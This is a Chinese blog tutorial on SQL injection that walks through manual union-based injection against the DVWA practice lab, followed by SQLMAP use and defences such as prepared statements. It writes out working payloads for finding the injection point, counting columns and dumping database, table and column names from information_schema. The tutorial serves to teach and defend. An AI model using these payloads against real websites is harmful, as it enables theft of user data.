mysql查找语句报错_Web安全之SQL注入(一)

本文深入探讨SQL注入攻击,通过实例展示了其对企业数据安全的危害,包括拖库、提权等。解释了SQL注入的含义,即通过非法参数拼接SQL语句欺骗Web服务器执行恶意命令。介绍了如何通过逻辑判断找到注入点,确定查询列数和显示位,以及如何利用SQL语句进行数据泄露。同时,文章提供了手工注入实战步骤和SQLMAP工具的使用,强调了代码层面和网络层面的防御措施,如输入转义、限制长度和预处理SQL语句。
摘要由CSDN通过智能技术生成

fa75d72b5daaecfb59ba7ed2da8193c0.png

一、SQL注入危害

1.1 实例

先来通过乌云案例了解一下SQL注入的危害

示例1. 中国中化通过SQL注入获得对方服务器权限

321acee819a82a760432eb069f6f6aa2.png

3d9e80e13dfb0a18977c0db1ca44c2ab.png

**示例2:**飞特物流后台注入千万用户敏感数据泄漏(银行卡号、身份证照片)

b9c7fb19bff8e8bc6de540f3f25a85a1.png

6e304670f09549dd3c3111069583f812.png

1.2 危害

其危害性可造成:

拖库(拿企业或高校用户敏感数据)

提权拿shell(操纵对方操作系统,持续监听、控制)

网站挂马、网页篡改、广告位传播

为所欲为,无视法律……

二、SQL注入含义

2.1 含义

恶意攻击者将数据包中输入的参数拼接成SQL语句传递给Web服务器,由于Web服务器的开发人员对数据的合法性没有判断或过滤不严,进而传递给数据库服务器,从而导致拼接的恶意SQL命令被执行,发起SQL注入攻击。

2.2 白话

一天,你老板让你去银行办理业务,临走前老板给了你一信封,上面写着银行业务员的指示,信件内容:

查询a账户的余额

签名:BOSS

路途中你去洗手间时将信件放到了洗手池上,被小偷发现了,打开信封添加了如下内容:

查询a账户余额,并向b账户转800元

签名:BOSS

银行业务员检查你的身份,验签了你老板的签名,便按照信函中操作(于是老板被偷了800元)

【和SQL注入相对比】

Web服务器 (你)

数据库服务器(银行业务员)

合法SQL代码(老板签名)

恶意SQL命令(小偷添加字段)

三、实操学习所需

3.1 靶机环境搭建

目的:模拟真实环境进行注入测试练习

3.2 SQL相关语法

目的:注入的核心在于注入点构造的SQL语句,构造的SQL语句最终传递给数据库服务器,由数据库服务器去执行,因此欲想手工注入深入并了解其原理,需必备SQL基础命令

3.2.1 SQL基本查询语法

》》启动并进入数据库(MYSQL,看到如下msyql便成功进入)

f4892d70842162a0c7a0b292d075ae18.png

》》查看当前数据库

c1cc3e7c0b694941f2d76a9babfe1ba1.png

》》进入dvwa数据库,并查看其所有数据表

1e5f40ac490ea93774dfb721fe6a4ca7.png

》》查看表中内容(users,五行八列)

9af1488cfcc10bf368de99c1b044082a.png

》》where语句(只查看user为1337这一行数据)

758a61dc66336db55629ab07a4e700e4.png

》》order by 排序(按照user名称进行排序)

be3f738217e4089713151e8ddfd3e9ad.png

Tips:后面的数字超过查询表的列数时,会报错

6c324ced2dcc5709c7c53ee45ffed50f.png

》》union 联合查询(将两个表中同数量的列数打印出来)

752f174a6e186a81a5fb65827a78877e.png

Tips:两个表的列数相对应时,才能查询成功

c217d8a1a7e67241204e1546a4b63c4b.png

3.2.2 MYSQL的特殊库

information_schema是mysql的一个特殊的信息数据库,保存关于Mysql服务器所维护的其它数据库信息,其中有三个特殊表

SCHEMATA

TABLES

COLUMNS

9186dc2339f587440d2c3afc4e05d3a0.png

schemata表 存放所有数据库名

schema_name列

583fd77bb1594ba173277cb110934983.png

tables表 存放所有数据库对应的表名

table_schema、table_name列

976b78e200a6e81ca329c94fb5adf85a.png

columns表 存放所有的数据库对应表的对应列

4e3f62f5034b7a68f448c266909d6687.png

3.2.3 SQL语法注意事项

TIPS1:Mysql查询的字符串未闭合会报错

c9df9bad5deaefad15aabd8ae51bc71c.png

TIPS2:Mysql语句要分号结尾才能查询成功

f5ebe018e500da854338c1918e2aff99.png

TIPS3:Mysql的三种注释风格:"#"、"-- “、”-- +"

(注释后边的未闭合的引号,同时前边添加一个注释掉的分号)

782516b09dbfe20ae04c44b356887be7.png

TIPS4:Mysql SQL语句不区分大小写

5e3f0af3c3d8c6b0eb61f8b1f9df268d.png

四、手工注入实战(MYSQL)

4.1 手工注入过程

step1:根据数据库逻辑命令判断当前页面是否存在注入点,如存在是什么类型注入;

step2:根据order by语句判断当前页面在数据库中查询的列数;

step3:根据union语句判断当前页面显示位(显示位:网页中能够显示构造的语句查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据!)

step4:根据SQL语法爆目的站点的数据。

1006afe0ce1234e7e950746e22c5d96f.png

4.3 web服务器和数据库交互理解

这里使用DVWA SQL Injection面板的操作显示来进行一个前后端的交互过程以及web服务器和数据库服务器的交互过程,来使我们对SQL注入的原理有一步新的认识

正常情况下我们输入1,web浏览器会显示一个FirstName值和Surname的值

点击提交按钮,前端将字符串交给后端处理

后端通过相关函数获得用户输入的字符串

进行数据库SQL查询预操作(此处未过滤)

后端web服务器和数据库服务器建立连接

成功建连后执行之前后端预操作的SQL语句

数据库查询成功后将数据返回给后端

后端将返回的数据显示到前端

最后在前端浏览器上进行渲染展示

12fe4dbb87dda0826559e6fe51959616.png

4.2 手工注入操作

4.2.1 逻辑判断注入点

》》在输入框中输入 “1 and 1=1”,未报错

问:“为何在此输入 1 and 1=1?”

答:“通过SQL执行逻辑来判断当前注入点”

问:“and 在SQL中的作用是什么?”

答:“and可在where子语句中将两个语句结合起来,and两边逻辑都正确时才返回true”

问:”我还是不太清楚为何使用and?“

答:”请揣摩web服务器和数据库交互过程后仔细观察下方的图片“

d619be3e75b47b6aeceec17f7afbcf41.png

》》在输入框中输入 “1 and 1=2”,未报错,可判断为非数字型注入

问:”and 1=2 不是and右边的逻辑1=2不成立吗,为何又显示出了数据?“

答:“如果and在引号里面,整个引号里面的数据是一个逻辑1 and 1=2,1是true,因此返回true(意思就是如果在引号中使用and无实际意义)”

2f91822651f609052f5e7b3c590d6047.png

》》在输入框中输入 "1‘ ",报SQL语法错误(怀疑为字符型注入)

efadcbc173ecba20166debb617acfd6b.png

》》在输入框中输入 “1‘ and 1=1 #”,返回正常

927ca64d167194627e4185fd4b50c945.png

》》在输入框中输入 “1‘ and 1=2; #”,没有数据返回:可判断为字符型注入

由此and逻辑可判断为此处对数据库进行where子语句查询时使用的单引号进行查询,且没有过滤措施

06fa3030db655a283e163beb20366721.png

4.2.2 判断查询列数

》》在输入框中输入 “1’ order by 1,2 #”,返回正常

60e5d96ae61eae0e5a2df428022b147e.png

》》在输入框中输入 “1’ order by 1,2,3 #”,返回语法错误

由order by语句逻辑可以判断当前查询列为两列(first_name、last_name)

091e57146658ed906f071130e75ae536.png

4.2.3 显示显示位

》》在输入框中输入 “1’ union select 1,2 #”,返回出显示位(这里暂时不知道几个,为方便理解我图中标记了下)

496b2eea9940e66c950bacbcaac9c6a2.png

》》在输入框中输入 “1’ union select 1,2,3 #”,返回错误,验实2个显示位

ea37a1a6b7a9f1d1a941d8862dee5731.png

4.2.4 SQL语句注入

验证显示了显示位后便可以在显示位上注入SQL语句

示例1:查询当前数据库名 , “1’ union select 1,database() #”

1adaab5becd4947f1cc1c535343d7538.png

其它Mysql常用函数:

system_user():系统用户名

user():数据库用户名

current_user() :当前用户名

session_user():连接数据库的用户名

database():数据库名

version() :数据库版本

Load_file():读取本地文件

Into outfile():写文件

@@datadir:读取数据存储路径

@@basedir:读取数据库安装路径

@@version_compile_os:显示安装版本

4.2.5 爆数据

Tips:我们可以利用前面 “3.2.2 MYSQL的特殊库” 中的三个特殊表去显示位中查询数据库中的数据

4.2.5.1 爆库

1’ union select 1,group_concat(schema_name) from information_schema.schemata; #

c05b68d2458eb37b3ba72c15d19de2a7.png

TIPS:group_concat()函数能将查询拼接起来,直观显示

4.2.5.2 爆表

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’; #

a8cd700c857f52cb89fc50429a9dbc00.png

4.2.5.3 爆字段

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’; #

ce3387eba8c3579d849a3ad24c18809e.png

4.2.5.4 爆数据

9d3e399d99b1061bde4057d73ac4064e.png

问:正确的注入语法但报错是什么原因?

689964fa905917ac7cd3ff4b2d36d8ed.png

答:编码不统一所致,相同字段编码为utf8_general_ci与utf8_unicode_ci就会报如上错误:

4c7256310472464a9d416d83d9720756.png

解:修改表中编码即可解决

4c186ca08768ebd9e7e2cdcd48ca5473.png

五、注入神器辅攻

5.1 SQLMAP介绍

SQL注入神器排名第一当属SQLMAP,其功能强大体验便知

使用SQLMAP对DVWA进行注入测试体验

5.2 查找注入点

30831a10a8eb1148eb70c958a6307e97.png

存在注入点:

94126028e5f3472eb61e28f23bb2aef7.png

5.3 查看所有数据库

0ebcbc4f385a271d307a8d7160056acf.png

acb93e7675702c393644f7b6212f6365.png

5.4 查看某库下表

41e2147f79fd3c0423c4cda9f5d460d4.png

e5c29fc21666ec5c6218f357bf403eca.png

5.5 查看某表的所有列

133e36d047f400bddeec6264f362af6c.png

dba7d76d390d986a64057cce8ca0a002.png

5.6 爆数据

13fb4ad70f9efd77031075cd1b440b7a.png

6d5455526e51594fd5497f3af004ceec.png

5.7 SQL其它使用

有关SQLMAP使用更加详细请看其官网或我总结的另外两篇文章:

六、注入防御措施

代码层面

转义用户输入的内容(PHP中函数:mysql_real_escape()函数等);

限制输入长度;

使用SQL语句预处理(对SQL语句首先进行预编译,参数绑定,最后传参)

网络层面

部署防火墙

其它层面

定期网站安全渗透测试

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>